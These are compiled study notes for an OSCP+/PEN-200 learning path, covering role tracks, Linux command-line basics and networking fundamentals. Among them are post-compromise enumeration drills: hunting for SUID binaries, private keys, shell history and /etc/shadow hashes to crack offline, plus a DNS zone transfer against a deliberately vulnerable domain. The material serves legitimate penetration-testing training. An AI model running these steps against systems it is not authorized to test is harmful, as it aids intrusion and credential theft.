

Oscp+ — compiled path

Compiled from `/Users/darkonikolic/Documents/learning/paths/Oscp+` . Canonical sources stay in place.

Phase — 01-pen200-path-framing

Directory: `01-pen200-path-framing/`

Source: `01-pen200-path-framing/00-role-navigation-and-path-overview.md`

OSCP+ Learning Path — Role Navigation

Four Roles This Path Covers

Tag	Role
[AppSec]	Application Security / Secure SDLC Engineer
[Blue]	Blue Team / SOC Analyst
[Pentest]	Junior Pentester
[Red]	Offensive Security / Red Team

Complete Phase Map

#	Phase	AppSec	Blue	Pentest	Red
01	Path framing & pedagogy	REQ	REQ	REQ	REQ
02	Linux foundations	REQ	REQ	REQ	REQ
03	Networking foundations	REQ	REQ	REQ	REQ
04	Cyber pre-security	REQ	REQ	REQ	REQ
05	Web / auth / backend security	REQ	REQ	REQ	REQ
06	Burp HTTP testing workflow	REQ	OPT	REQ	REQ
07	Windows / AD enterprise	OPT	REQ	REQ	REQ
08	Kali Linux tooling	SKP	OPT	REQ	REQ
09	Enumeration methodology	OPT	OPT	REQ	REQ
10	Labs progression → PEN-200	SKP	SKP	REQ	REQ
11	Exploitation fundamentals	SKP	OPT	REQ	REQ
12	Privilege escalation	SKP	REQ	REQ	REQ
13	Active Directory attacks	SKP	REQ	REQ	REQ
14	Post-exploitation & lateral movement	SKP	REQ	REQ	REQ
15	Pivoting & tunneling	SKP	OPT	REQ	REQ
16	Blue team / SOC / incident response	REQ	REQ	OPT	REQ
17	AppSec / Secure SDLC	REQ	OPT	OPT	OPT
18	Industry-standard tooling reference	REQ	REQ	REQ	REQ
19	Report writing & documentation	REQ	OPT	REQ	REQ
20	Advanced lab challenges	SKP	SKP	REQ	REQ

REQ = Required | OPT = Optional / recommended | SKP = Skip or defer

Tracks — Sequence by Role

AppSec / Secure SDLC Track

01 → 02 → 03 → 04 → 05 → 06 → 16(IR basics) → 17 → 18(AppSec section) → 19

Estimated total: ~4–5 months at steady pace.

Blue Team / SOC Analyst Track

01 → 02 → 03 → 04 → 05 → 07 → 09(enumeration to understand attacks) → 12 → 13 → 14 → 16 → 18(defensive section)

Estimated total: ~4–6 months at steady pace.

Junior Pentester Track

01 → 02 → 03 → 04 → 05 → 06 → 07 → 08 → 09 → 10 → 11 → 12 → 18(offensive section) → 19 → 20(easy labs)

Estimated total: ~6–8 months to PEN-200 readiness.

Offensive Security / Red Team Track

01 → 02 → 03 → 04 → 05 → 06 → 07 → 08 → 09 → 10 → 11 → 12 → 13 → 14 → 15 → 16 → 18 → 19 → 20

Estimated total: ~10–14 months for solid depth.

Competency Coverage by Role

Competency	AppSec	Blue	Pentest	Red
Linux / CLI fluency	85%	80%	95%	95%
Networking fundamentals	80%	90%	90%	90%
Web security (OWASP)	95%	75%	85%	80%
Auth / API security	95%	70%	80%	75%
Windows / AD structure	50%	85%	85%	95%
Exploitation technique	40%	55%	90%	95%
Privilege escalation	30%	70%	90%	95%
AD attack chains	20%	80%	90%	95%
Post-exploitation / lateral	20%	85%	80%	95%
Pivoting / tunneling	10%	50%	85%	95%
Blue team / IR	65%	95%	50%	80%
AppSec / SDLC tooling	95%	50%	40%	40%
Industry tooling literacy	80%	80%	90%	95%
Report writing	90%	65%	90%	80%

Phase Groups (logical clusters)

Group A — Foundations (Phases 01–04)

Universal baseline. All roles start here.

Group B — Web & Application Security (Phases 05–06)

Core for AppSec and Pentest. Blue team reads defensively.

Group C — Infrastructure & Enterprise (Phases 07–09)

Windows/AD understanding, Kali toolchain, enumeration discipline.

Group D — Offensive Techniques (Phases 10–15)

Pentest and Red team primary track. Blue team reads to understand attack perspective.

Group E — Defensive & AppSec Specialisations (Phases 16–17)

Blue team and AppSec primary. Offensive roles read for detection awareness.

Group F — Professional Skills (Phases 18–19)

Tooling literacy and reporting. Required across all roles.

Group G — Lab Mastery (Phase 20)

Practical lab challenge progression. Pentest and Red team.

Industry Certification Alignment

Cert	Relevant phases
OSCP / PEN-200	01–15, 18, 19, 20
CEH	01–11, 18
CompTIA Security+	01–07, 16, 17
GWAPT / GPEN	05–06, 09, 11, 18, 19
CRT0 (Red Team Ops)	11–15, 18, 20
BTL1 (Blue Team)	02–05, 07, 16, 18
CSSLP / Secure SDLC	04–06, 16, 17, 19

Source: 01-pen200-path-framing/01-program-overview-and-pedagogy.md

Oscp+ / PEN-200 — program overview and learning model

This trace is for building a solid base in **Linux, networks, web security, Windows enterprise, Active Directory**, and practical **systems analysis**. The focus is **not** only on tools, but on **how systems behave**, how **misconfiguration mistakes** typically appear, and how issues can be **recognized, reproduced, and remediated** responsibly.

Topics are organized in **phases** as numbered `paths/Oscp+/<NN>-area/` trees: Linux foundations → Networking → introductory cyber foundations → Web/backend/auth → systematic Burp tooling → Windows / AD enterprise context → **Kali-based toolchain familiarity** → **deep enumeration methodology** → **guided lab ladders toward PEN-200**. Earlier blocks deliberately feed later ones.

Stress is on **hands-on work**:

Practice surface	Examples
Local labs	VMs, scripted exercises
Network analysis	Captures and logs you own authorization to inspect
Reproduction	Controlled repro of misconfigurations and failures
Documentation	Structured notes and findings

The outcome is **not** memorizing individual tools alone, but cultivating **technical thinking**, repeatable **methods**, and the ability to **analyze** complex systems safely.

This is **long-horizon** study — steady daily practice beats rushing material. Aim for depth of understanding, not completion speed alone.

Source: 01-pen200-path-framing/02-phase-one-primary-resources-and-environment.md

Phase one — Linux / CLI foundations (resources & environment)

Phase one ends when you work in a Linux shell **without hesitation**, grasp a **server-oriented** mental model, and perform **basic administration** comfortably.

Core goal (not “memorize Linux”)

You want a **low-friction CLI**, working knowledge of the **filesystem**, **users / groups / permissions**, **processes**, **packages**, **logging**, **systemd**, **SSH**, **text tooling**, **Bash basics**, and a **Linux server mindset**.

Primary resources

LabEx (Linux Journey–style Linux learning)

Site: <https://labex.io/>

Complete these tracks end-to-end:

- Grasshopper
- Text-Fu
- User Management
- Process Utilization
- Package Management
- Filesystem
- Networking Nomad
- Init / Systemd
- Logging

Extra emphasis: Grasshopper, Text-Fu, Networking Nomad.

Udemy — Linux Administration Bootcamp

Course: [Linux Administration Bootcamp](#)

Focus only on:

- Linux fundamentals
- Filesystem
- Permissions
- Users
- Process management
- Package management
- Networking sections
- Logging
- systemd
- SSH
- cron

Defer for now: LDAP, Kerberos, deep LVM, heavy enterprise storage topics.

Practice environment (required)

- **Ubuntu VM** (or equivalent you control)
- **Terminal every day**
- A **local practice folder**, e.g.:

```
mkdir training  
cd training
```

Phase — 02-linux-foundations-phase

Directory: 02-linux-foundations-phase/

Source: 02-linux-foundations-phase/01-terminal-and-filesystem-foundations.md

Terminal and filesystem foundations

Learn to navigate and manipulate the Linux filesystem from the command line. Everything else in this path builds on this muscle memory.

Core navigation

```
pwd                # print working directory
ls -la /etc        # list with permissions and hidden files
cd /var/log && ls   # change dir and list
cd ~               # go to home directory
cd -               # jump back to previous directory
```

Create, copy, move, delete

```
mkdir -p ~/lab/tools/scripts ~/lab/targets/10.10.10.1
touch ~/lab/targets/10.10.10.1/notes.txt
cp notes.txt notes.bak
mv notes.bak archive/notes-$(date +%F).txt
rm -rf ~/lab/tmp/
```

Inspect files and metadata

```
file /usr/bin/python3    # what type: binary, text, symlink
stat /etc/passwd         # size, permissions, timestamps, inode
ls -lah /var/log/        # human-readable sizes
tree ~/lab -L 2          # directory tree, 2 levels deep
```

Lab exercise — build a pentest directory structure

```
mkdir -p ~/pentest/{recon,exploit,loot,notes}
touch ~/pentest/notes/targets.txt
echo "10.10.10.1 - HackTheBox" > ~/pentest/notes/targets.txt
cat ~/pentest/notes/targets.txt
ls -R ~/pentest
```

Expected: four subdirectories, one file with content.

What to observe

- Absolute paths (/etc/passwd) vs relative paths (../etc/passwd) — critical distinction for exploits
- Hidden files start with . — `ls -a` reveals them, relevant when hunting for credentials in home dirs
- `file` distinguishes ELF binary from shell script — matters when dealing with unknown executables

Practice

- LabEx Grasshopper track: <https://labex.io/courses/linux-basic-commands-practice-online>
- TryHackMe Linux Fundamentals Part 1: <https://tryhackme.com/room/linuxfundamentalspart1>

Completion bar

Run all of these without looking up flags: `pwd ls -la cd - mkdir -p cp mv rm -rf file stat tree`

Source: `02-linux-foundations-phase/02-files-and-text-processing.md`

Files and text processing

Read, filter, and reshape text files from the terminal. Core skill for parsing config files, logs, and credential dumps.

Viewing file content

```
cat /etc/passwd          # dump entire file
less /var/log/syslog     # paginate (q to quit, / to search)
head -20 /var/log/auth.log # first 20 lines
tail -f /var/log/auth.log # follow live output
wc -l /etc/passwd        # count lines
```

Sorting and deduplication

```
sort /etc/passwd          # alphabetical sort
sort -t: -k3 -n /etc/passwd # sort by UID (field 3, numeric)
sort file.txt | uniq       # remove consecutive duplicates
sort file.txt | uniq -c | sort -rn # count occurrences, most frequent first
```

Extracting columns with cut

```
cut -d: -f1 /etc/passwd      # extract usernames (field 1, colon delimiter)
cut -d: -f1,3 /etc/passwd    # username and UID
cut -d: -f7 /etc/passwd | sort | uniq # all shells in use
```

Redirection and stderr

```
ls /etc > etc_files.txt      # stdout to file (overwrite)
ls /etc >> etc_files.txt      # stdout to file (append)
ls /nonexistent 2>/dev/null  # discard errors
ls /etc /nonexistent 2>&1 | less # merge stderr into stdout
command | tee output.txt     # write to file AND keep stdout flowing
```

Lab exercise — parse /etc/passwd

```
# Extract all usernames and shells, find which shells are used
cut -d: -f1,7 /etc/passwd | sort -t: -k2
# Count how many users per shell
cut -d: -f7 /etc/passwd | sort | uniq -c | sort -rn
# Find users with UID 0 (root-equivalent)
awk -F: '$3 == 0 {print $1}' /etc/passwd
```

Practice

- LabEx Text-Fu track: <https://labex.io/courses/linux-text-processing-and-regular-expressions>
- TryHackMe Linux Fundamentals Part 2: <https://tryhackme.com/room/linuxfundamentalspart2>

Completion bar

Parse `/etc/passwd` to list all usernames, sort them, deduplicate shells — using only `cut`, `sort`, `uniq`, `wc`, and pipes.

Source: `02-linux-foundations-phase/03-grep-pipes-and-bash-basics.md`

grep, pipes, and Bash basics

Search files, chain commands, and write simple scripts. Used constantly during enumeration and log analysis.

grep — find patterns

```
grep "root" /etc/passwd           # lines containing "root"
grep -i "failed" /var/log/auth.log # case-insensitive
grep -n "error" app.log           # show line numbers
grep -v "nologin" /etc/passwd     # exclude matches (invert)
grep -r "password" /etc/          # recursive search
grep -E "^(root|admin)" /etc/passwd # extended regex, multiple patterns
grep -l "password" /var/www/html/*.php # list files that match, not lines
```

find — locate files

```
find /etc -name "*.conf" -type f      # all .conf files
find / -name "id_rsa" 2>/dev/null     # find private keys, suppress errors
find /var/www -name "*.php" -newer /tmp/ref # files modified recently
find / -perm -4000 -type f 2>/dev/null # SUID binaries (privesc hunting)
find /home -name ".bash_history" 2>/dev/null # user history files
```

awk and sed — transform text

```
awk '{print $1}' access.log           # print first field (space-delimited)
awk -F: '{print $1, $3}' /etc/passwd  # username and UID
awk '$9 == "404" {print $7}' access.log # HTTP 404 URLs from Apache log
sed 's/old/new/g' file.txt             # replace all occurrences
sed -n '10,20p' file.txt               # print lines 10-20
```

Pipes — chain three or more commands

```
# Top 10 IPs hitting a web server
awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -10

# Find all ERROR lines, extract unique IPs
grep "ERROR" app.log | awk '{print $NF}' | sort | uniq

# List all open ports from nmap output
grep "open" nmap_output.txt | awk '{print $1}' | cut -d/ -f1
```


Bash script template

```
#!/bin/bash
TARGET=$1
OUTDIR="results/$TARGET"
mkdir -p "$OUTDIR"

for PORT in 80 443 8080 8443; do
    if nc -z -w 2 "$TARGET" "$PORT" 2>/dev/null; then
        echo "[+] $TARGET:$PORT open" | tee -a "$OUTDIR/ports.txt"
    fi
done
```

Lab exercise — find errors and count unique IPs

```
# Generate a sample log, then analyze it
sudo journalctl -n 500 > /tmp/sample.log
grep -i "error\|fail\|denied" /tmp/sample.log | wc -l
grep -oE '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' /tmp/sample.log | sort | uniq -c | sort -rn | head -5
find /var/log -name "*.log" -size +1M 2>/dev/null
```

Practice

- LabEx Text-Fu track: <https://labex.io/courses/linux-text-processing-and-regular-expressions>
- TryHackMe Linux Fundamentals Part 3: <https://tryhackme.com/room/linuxfundamentalspart3>

Completion bar

Write a one-liner that: finds all `.log` files under `/var/log`, greps for “error” case-insensitively, counts unique occurrences — using `find`, `grep`, `sort`, `uniq -c`.

Source: 02-linux-foundations-phase/04-users-groups-and-permissions.md

Users, groups, and permissions

Understanding permissions is prerequisite for privilege escalation. SUID bits and sudo misconfigs are the most common Linux privesc vectors.

Identify current user context

<code>id</code>	# uid, gid, all groups
<code>whoami</code>	# just the username
<code>groups</code>	# groups current user belongs to
<code>cat /etc/passwd</code>	# all local users (username:x:uid:gid:info:home:shell)
<code>sudo -l</code>	# what this user can run as root — always check this

Read /etc/shadow (requires root)

```
cat /etc/shadow # hashed passwords — crackable offline with hashcat
# Format: username:$algorithm$salt$hash:lastchange:...
```

Permission bits — reading ls -la output

```
ls -la /etc/passwd
# -rw-r--r-- 1 root root 2847 May 1 10:00 /etc/passwd
# ^^^^^^^^^
#  rwx = owner | rwx = group | rwx = others
```

Octal	Meaning	Common use
644	rw-r--r--	regular files
755	rw-r-xr-x	executables, dirs
600	rw-----	private keys, shadow
4755	rw-sr-xr-x	SUID binary — runs as owner

Modify permissions and ownership

```
chmod 644 file.txt           # set exact permissions
chmod +x script.sh          # add execute for all
chmod 600 ~/.ssh/id_rsa      # private key must be 600 or ssh refuses it
chown user:group file.txt    # change owner and group
chown -R www-data:www-data /var/www/html
```

Lab exercise — users, groups, SUID

```
# Create a user, add to a group, set permissions
sudo useradd -m testuser
sudo groupadd testgroup
sudo usermod -aG testgroup testuser
id testuser

# Find SUID binaries on the system (privesc enumeration)
find / -perm -4000 -type f 2>/dev/null
# Look for non-standard entries: /usr/bin/passwd and /usr/bin/sudo are expected
# /opt/custom_binary with SUID is suspicious

# Find world-writable files
find / -perm -o+w -type f 2>/dev/null | grep -v proc
```

Why this matters now

When you land on a box, run `sudo -l` and `find / -perm -4000` within the first two minutes. SUID binaries like `vim`, `find`, `cp`, `bash` with SUID = instant root via GTFOBins: <https://gtfobins.github.io>

Practice

- TryHackMe “Linux Fundamentals Part 2”: <https://tryhackme.com/room/linuxfundamentalspart2>
- TryHackMe “Linux PrivEsc”: <https://tryhackme.com/room/linuxprivesc> (preview — revisit in depth later)

Completion bar

From memory: check current user context, read passwd/shadow, find SUID binaries, change file permissions — using `id` `sudo` `-l` `ls -la` `find -perm -4000` `chmod` `chown`.

Processes and services

Know what is running on a system. Processes expose running services for enumeration; killing and backgrounding processes is required for lab work.

View running processes

```
ps aux                # all processes, all users, detailed
ps aux | grep nginx   # find specific process
ps aux | grep -v grep | grep ssh # cleaner grep (remove the grep process itself)
top                   # live process monitor (q to quit)
htop                  # better live monitor (install: apt install htop)
pstree                # process hierarchy tree
```

Kill processes

```
kill 1234              # send SIGTERM (graceful stop) to PID 1234
kill -9 1234           # send SIGKILL (force stop) – use when SIGTERM fails
pkill nginx            # kill by process name
killall python3        # kill all processes named python3
```

Background and foreground

```
python3 -m http.server 8080 & # run in background, get PID
jobs                          # list background jobs
fg %1                         # bring job 1 to foreground
bg %1                         # resume stopped job in background
Ctrl+Z                       # suspend current foreground process
```

systemd service management

```
systemctl status ssh        # is SSH running?
sudo systemctl start apache2 # start a service
sudo systemctl stop apache2  # stop a service
sudo systemctl restart apache2 # restart
sudo systemctl enable ssh    # start on boot
sudo systemctl disable apache2 # do not start on boot
systemctl list-units --type=service --state=running # all running services
```

Lab exercise — HTTP server lifecycle

```
# Start a simple HTTP server in the background
cd /tmp && python3 -m http.server 8080 &
echo "Server PID: $!"

# Verify it is listening
ss -tulpn | grep 8080

# Test it
curl -s http://localhost:8080/ | head -5

# Find the PID and kill it
ps aux | grep "http.server" | grep -v grep
kill $(pgrep -f "http.server")

# Confirm it is gone
ss -tulpn | grep 8080
```

Security relevance

On a compromised box, `ps aux` reveals running services (databases, web servers, internal apps) that may not be externally visible. Internal services listening on localhost are common pivot targets.

```
# Check for internal listeners
ss -tulpn | grep 127.0.0.1
```

Practice

- TryHackMe “Linux Fundamentals Part 3”: <https://tryhackme.com/room/linuxfundamentalspart3>
- LabEx Linux Process Management: <https://labex.io/courses/linux-process-management>

Completion bar

Start a background process, find its PID with `ps` and `pgrep`, kill it, verify it is gone — without looking up flags.

Source: `02-linux-foundations-phase/06-packages-logs-and-systemd.md`

Packages, logs, and systemd

Install tools, read logs, archive data. Practical ops skills used every lab session.

apt package management

<code>sudo apt update</code>	<code># refresh package index (do this first)</code>
<code>sudo apt install nmap gobuster curl -y</code>	<code># install tools non-interactively</code>
<code>sudo apt remove nmap</code>	<code># remove package</code>
<code>sudo apt autoremove</code>	<code># clean unused dependencies</code>
<code>dpkg -l grep nmap</code>	<code># check if package is installed</code>
<code>dpkg -l grep "^ii"</code>	<code># list all installed packages</code>
<code>which nmap && nmap --version</code>	<code># confirm install and version</code>

Log files — where to look

File	Contains
<code>/var/log/auth.log</code>	SSH logins, sudo usage, su attempts
<code>/var/log/syslog</code>	General system events
<code>/var/log/nginx/access.log</code>	Web requests
<code>/var/log/nginx/error.log</code>	Web errors
<code>/var/log/apache2/access.log</code>	Apache requests
<code>/var/log/dpkg.log</code>	Package installs/removes

journalctl — systemd logs

```
sudo journalctl -f           # follow live system log
sudo journalctl -u ssh       # SSH service logs only
sudo journalctl -u ssh --since "1 hour ago" # recent SSH activity
sudo journalctl --since "2024-01-01" --until "2024-01-02"
sudo journalctl -p err       # errors only
```

Archive and extract with tar

```
tar -czf backup.tar.gz ~/pentest/ # compress directory (c=create, z=gzip, f=file)
tar -xzf backup.tar.gz -C /tmp/restore/ # extract to target directory
tar -tzf backup.tar.gz             # list contents without extracting
tar -czf loot-$(date +%F).tar.gz /tmp/loot/ # timestamped archive
```

Lab exercise — install nmap, run it, check journal

```
sudo apt update && sudo apt install nmap -y
nmap --version
# Run a scan and check what the system logged
nmap -sV localhost
sudo journalctl -u systemd-resolved --since "2 minutes ago"
sudo tail -50 /var/log/syslog | grep -i "nmap\|scan\|port"
```

Practice

- TryHackMe “Linux Fundamentals Part 3”: <https://tryhackme.com/room/linuxfundamentalspart3>
- Udemy “Linux Administration Bootcamp” — package management section: <https://www.udemy.com/course/linux-administration-bootcamp/>

Completion bar

Install a package, check journal for related activity, archive a directory, list archive contents — using `apt` `dpkg` `journalctl` `tar` without looking up flags.

Source: `02-linux-foundations-phase/07-ssh-curl-and-networking-basics.md`

SSH, curl, and networking basics

Connect to remote hosts, make HTTP requests, and understand your network interfaces. Daily tooling in every lab environment.

SSH — connect and configure

```
ssh user@10.10.10.1                # basic connect
ssh user@10.10.10.1 -p 2222         # non-default port
ssh -i ~/.ssh/id_rsa user@host      # use specific private key
ssh -L 8080:localhost:80 user@host  # local port forward (tunnel)
ssh -D 1080 user@host               # SOCKS proxy

# Generate a key pair
ssh-keygen -t rsa -b 4096 -f ~/.ssh/lab_key # creates lab_key + lab_key.pub
chmod 600 ~/.ssh/lab_key                 # required permission

# Copy public key to remote host
ssh-copy-id -i ~/.ssh/lab_key.pub user@host
# Or manually: cat ~/.ssh/lab_key.pub >> ~/.ssh/authorized_keys (on remote)
```

SCP — transfer files

```
scp file.txt user@host:/tmp/        # upload
scp user@host:/etc/passwd /tmp/passwd # download
scp -r ~/loot/ user@host:/tmp/loot/ # recursive directory
scp -i ~/.ssh/lab_key file.txt user@host:/tmp/
```

curl — make HTTP requests

```
curl https://example.com            # GET request
curl -s https://example.com          # silent (no progress bar)
curl -I https://example.com          # headers only (HEAD request)
curl -v https://example.com 2>&1 | head -30 # verbose, see TLS + headers
curl -X POST -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"test"}' \
  http://target/api/login
curl -b "session=abc123" http://target/admin # send cookie
curl -o /tmp/file.zip http://host/file.zip  # download to file
```

Network interface and routing

```
ip a                                # all interfaces and IP addresses
ip route                            # routing table, find default gateway
ip neigh                            # ARP cache (neighbor table)
ss -tulpn                           # listening ports and their processes
```

tmux basics — required for lab sessions

```
tmux new -s lab                    # start named session
# Inside tmux:
Ctrl+B %                           # split vertical
Ctrl+B "                           # split horizontal
Ctrl+B arrow                       # move between panes
Ctrl+B d                           # detach (session keeps running)
tmux attach -t lab                 # reattach
```

Lab exercise — set up SSH key auth between two VMs

```
# On VM1 (attacker):
ssh-keygen -t rsa -b 4096 -f ~/.ssh/lab_key -N ""
ssh-copy-id -i ~/.ssh/lab_key.pub user@VM2_IP

# Test passwordless login:
ssh -i ~/.ssh/lab_key user@VM2_IP "id && hostname"
```

Practice

- TryHackMe “SSH” room: <https://tryhackme.com/room/sshlog>
- TryHackMe Linux Fundamentals Part 3: <https://tryhackme.com/room/linuxfundamentalspart3>

Completion bar

Connect via SSH with a key, transfer a file with SCP, make a POST request with curl, check listening ports with `ss -tulpn` — without looking up flags.

Source: `02-linux-foundations-phase/08-integration-drills-and-completion-criteria.md`

Integration drills and completion criteria

Scenario-based drill: you've just landed on a new Linux box via SSH. Run the following commands in order — no looking up flags.

Drill sequence — new box, first 5 minutes

```
# 1. Who am I and what can I do?
id
whoami
sudo -l

# 2. Where am I?
hostname
ip a
cat /etc/os-release

# 3. Who else is here?
cat /etc/passwd | cut -d: -f1,3,7 | grep -v nologin
cat /etc/group
last | head -20

# 4. What is running?
ps aux
ss -tulpn
systemctl list-units --type=service --state=running

# 5. What files are interesting?
find / -perm -4000 -type f 2>/dev/null      # SUID binaries
find /home -name "*.txt" -o -name "*.key" -o -name "*.pem" 2>/dev/null
find / -writable -type f 2>/dev/null | grep -v proc | head -20

# 6. Logs and history
cat ~/.bash_history
sudo tail -50 /var/log/auth.log
sudo journalctl -u ssh --since "1 day ago"

# 7. Filesystem — what is here?
ls -la /
ls -la /opt /srv /var/www 2>/dev/null
df -h
```

15 commands you must run from memory

1. `id`
2. `sudo -l`
3. `ip a`
4. `ss -tulpn`
5. `ps aux`
6. `cat /etc/passwd`
7. `cat /etc/shadow` (if root)
8. `find / -perm -4000 -type f 2>/dev/null`
9. `find / -writable -type f 2>/dev/null | grep -v proc`
10. `cat ~/.bash_history`
11. `ls -la /home/`
12. `systemctl list-units --type=service --state=running`
13. `uname -a`
14. `cat /etc/crontab`
15. `env`

Text processing mini-drill

```
# Without help: extract all users with /bin/bash as shell from /etc/passwd
grep "/bin/bash$" /etc/passwd | cut -d: -f1

# Count failed SSH logins in auth.log
grep "Failed password" /var/log/auth.log | wc -l

# Find the top 5 IPs with failed logins
grep "Failed password" /var/log/auth.log | \
  grep -oE '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' | \
  sort | uniq -c | sort -rn | head -5
```

Practice rooms

- TryHackMe “Linux Fundamentals” Part 1–3:
- <https://tryhackme.com/room/linuxfundamentalspart1>
- <https://tryhackme.com/room/linuxfundamentalspart2>
- <https://tryhackme.com/room/linuxfundamentalspart3>
- TryHackMe “Linux Challenges”: <https://tryhackme.com/room/linuxctf>

Exit bar

Complete the full drill sequence on a fresh VM without checking notes. Time yourself — target under 10 minutes for all 15 commands plus the three text processing tasks.

Phase — 03-networking-foundations

Directory: 03-networking-foundations/

Source: 03-networking-foundations/01-primary-resources-practice-setup.md

Networking foundations — resources and lab setup

Networking for security: focus on what you need to enumerate, pivot, and understand traffic — not CCNA exam prep.

Install tools first

```
sudo apt update
sudo apt install -y wireshark tcpdump nmap traceroute dnsutils netcat-openbsd curl ipcalc mtr
# Add your user to wireshark group (capture without root)
sudo usermod -aG wireshark $USER
newgrp wireshark
```

Resources

Resource	What it covers	URL
Practical Networking	OSI, TCP/IP, subnetting, routing — best free content	https://www.practicalnetworking.net
TryHackMe Pre-Security path	Network fundamentals with hands-on rooms	https://tryhackme.com/path/outline/presecurity
TryHackMe Network Fundamentals	Deeper dive with packet analysis	https://tryhackme.com/module/network-fundamentals
NetworkChuck YouTube	Visual explanations of subnetting, routing, DNS	https://www.youtube.com/@NetworkChuck
Wireshark docs	Filter reference	https://www.wireshark.org/docs/wsug_html_chunked/
Subnetting practice	Daily drill	https://subnettingpractice.com

Lab environment options

Option A — local VM (recommended): - Ubuntu 22.04 or Kali Linux VM in VirtualBox/VMware - Two VMs on host-only network for traffic capture between them

Option B — TryHackMe browser: - No local setup needed - Covers all rooms in this phase

Verify your tools work

```
ping -c 2 8.8.8.8
traceroute google.com
nmap -sV localhost
dig google.com
sudo tcpdump -i any -c 5
wireshark & # opens GUI
```

Phase exit goal

By the end of this phase you can: read a Wireshark capture and identify what happened, subnet a /24 without a calculator, explain DNS query flow, run nmap and interpret results.

OSI, TCP/IP, TCP vs UDP, and first captures

Understand the layered model in terms of what breaks at each layer and what tools operate where. Then capture real traffic.

OSI layers — practical mapping

Layer	Name	What fails here	Tools
7	Application	App crashes, protocol mismatch	curl, browser
4	Transport	Wrong port, firewall dropping packets	ss, nmap
3	Network	Wrong route, no gateway, IP unreachable	ping, traceroute, ip route
2	Data Link	MAC mismatch, switch config	arp, ip neigh
1	Physical	Cable, NIC, RF	hardware

TCP three-way handshake

Client	Server	
---SYN----->		
<--SYN-ACK-----		
---ACK----->	connection established	
---DATA----->		
<--ACK-----		
---FIN----->	teardown	
<--FIN-ACK-----		

TCP vs UDP

	TCP	UDP
Connection	Yes (handshake)	No
Reliability	Yes (retransmit)	No
Ordering	Yes	No
Speed	Slower	Faster
Use cases	HTTP, SSH, SMTP	DNS, NTP, DHCP, VoIP

Basic connectivity commands

ping -c 4 8.8.8.8	# ICMP echo — is host reachable?
traceroute google.com	# hop-by-hop path (Layer 3)
traceroute -n google.com	# no DNS resolution (faster)
ss -tulpn	# local TCP/UDP listeners

Capture the TCP handshake with tcpdump

Terminal 1 — start capture
sudo tcpdump -i eth0 -c 20 tcp -w /tmp/handshake.pcap
Terminal 2 — generate traffic
curl -s http://example.com > /dev/null
Read the capture
sudo tcpdump -r /tmp/handshake.pcap -n
Look for: [S] SYN, [S.] SYN-ACK, [.] ACK

Wireshark — observe the handshake

```
wireshark /tmp/handshake.pcap
```

- Filter: `tcp.flags.syn == 1` — see SYN packets only
- Filter: `tcp` — all TCP traffic
- Right-click a packet → Follow → TCP Stream — see full conversation

Practice

- TryHackMe “OSI Model” room: <https://tryhackme.com/room/osimodelzi>
- TryHackMe “Packets and Frames”: <https://tryhackme.com/room/packetsframes>
- Practical Networking OSI series: <https://www.practicalnetworking.net/series/packet-traveling/packet-traveling/>

Completion bar

Capture a TCP handshake with `tcpdump`, open it in Wireshark, identify SYN/SYN-ACK/ACK packets — without instructions.

Source: `03-networking-foundations/03-ip-addressing-subnetting-cidr.md`

IP addressing, subnetting, and CIDR

Every `nmap` scan uses CIDR notation. Every network diagram has subnets. Know this cold.

Check your own addresses

```
ip a          # all interfaces, IPs, MACs
ip route      # routing table — find default gateway
ipcalc 192.168.1.0/24 # subnet calculator (apt install ipcalc)
ipcalc 10.10.10.0/26  # shows network, broadcast, host range
```

CIDR quick reference

CIDR	Subnet mask	Usable hosts	Hosts count
/30	255.255.255.252	.1 – .2	2
/29	255.255.255.248	.1 – .6	6
/28	255.255.255.240	.1 – .14	14
/27	255.255.255.224	.1 – .30	30
/26	255.255.255.192	.1 – .62	62
/25	255.255.255.128	.1 – .126	126
/24	255.255.255.0	.1 – .254	254
/16	255.255.0.0	—	65,534

RFC1918 private ranges

```
10.0.0.0/8    # 10.x.x.x — class A private
172.16.0.0/12 # 172.16.x.x – 172.31.x.x — class B private
192.168.0.0/16 # 192.168.x.x — class C private
```

Subnet calculation exercise

For `192.168.10.0/26`:

```
ipcalc 192.168.10.0/26
# Network:    192.168.10.0
# Broadcast:  192.168.10.63
# First host: 192.168.10.1
# Last host:  192.168.10.62
# Hosts:      62
```

For 10.10.10.0/27: - Network: 10.10.10.0 - Broadcast: 10.10.10.31 - Range: 10.10.10.1 – 10.10.10.30 - Hosts: 30

Security relevance

```
# Scan an entire subnet
nmap -sn 192.168.1.0/24          # ping sweep, discover live hosts
nmap -sV 10.10.10.0/24 -p 22,80,443 --open # service scan, common ports only

# Identify your target network from VPN interface
ip a show tun0                  # HackTheBox VPN: usually 10.10.14.x
# Targets are in 10.10.10.0/24 – scan that range
```

Practice

- Subnetting drill: <https://subnettingpractice.com> — do 10 problems per session
- TryHackMe “What is Networking?": <https://tryhackme.com/room/whatisnetworking>
- Practical Networking subnetting: <https://www.practicalnetworking.net/series/subnetting/subnetting/>

Completion bar

Given any /24, /26, /27, or /28 — state the network address, broadcast, first host, last host, and host count from memory in under 30 seconds. Verify with `ipcalc`.

Source: 03-networking-foundations/04-dns-dhcp-nat-arp.md

DNS, DHCP, NAT, and ARP

These four protocols handle name resolution, address assignment, and address translation. All four appear in recon and pivoting.

DNS — query records

<code>dig google.com</code>	<code># A record (IPv4)</code>
<code>dig google.com AAAA</code>	<code># IPv6 address</code>
<code>dig google.com MX</code>	<code># mail servers</code>
<code>dig google.com TXT</code>	<code># SPF, DKIM, verification tokens</code>
<code>dig google.com NS</code>	<code># name servers</code>
<code>dig -x 8.8.8.8</code>	<code># reverse lookup (PTR)</code>
<code>dig @8.8.8.8 google.com</code>	<code># query specific DNS server</code>
<code>nslookup google.com</code>	<code># simpler alternative</code>
<code>host -t NS google.com</code>	<code># name servers via host command</code>

DNS record types

Type	Purpose
A	IPv4 address
AAAA	IPv6 address
MX	Mail server
CNAME	Alias (canonical name)
TXT	Arbitrary text (SPF, DKIM, verification)
NS	Name server
PTR	Reverse lookup
SOA	Zone authority info

DNS zone transfer (recon technique — lab targets only)

```
# Attempt zone transfer — reveals all DNS records if misconfigured
dig axfr @nameserver target.domain
# Example on intentionally vulnerable target:
dig axfr @nsztl1.digi.ninja zonetransfer.me
```

ARP — layer 2 address resolution

```
arp -a                # ARP cache (IP → MAC mappings)
ip neigh              # same, modern syntax
# Wipe and re-populate cache:
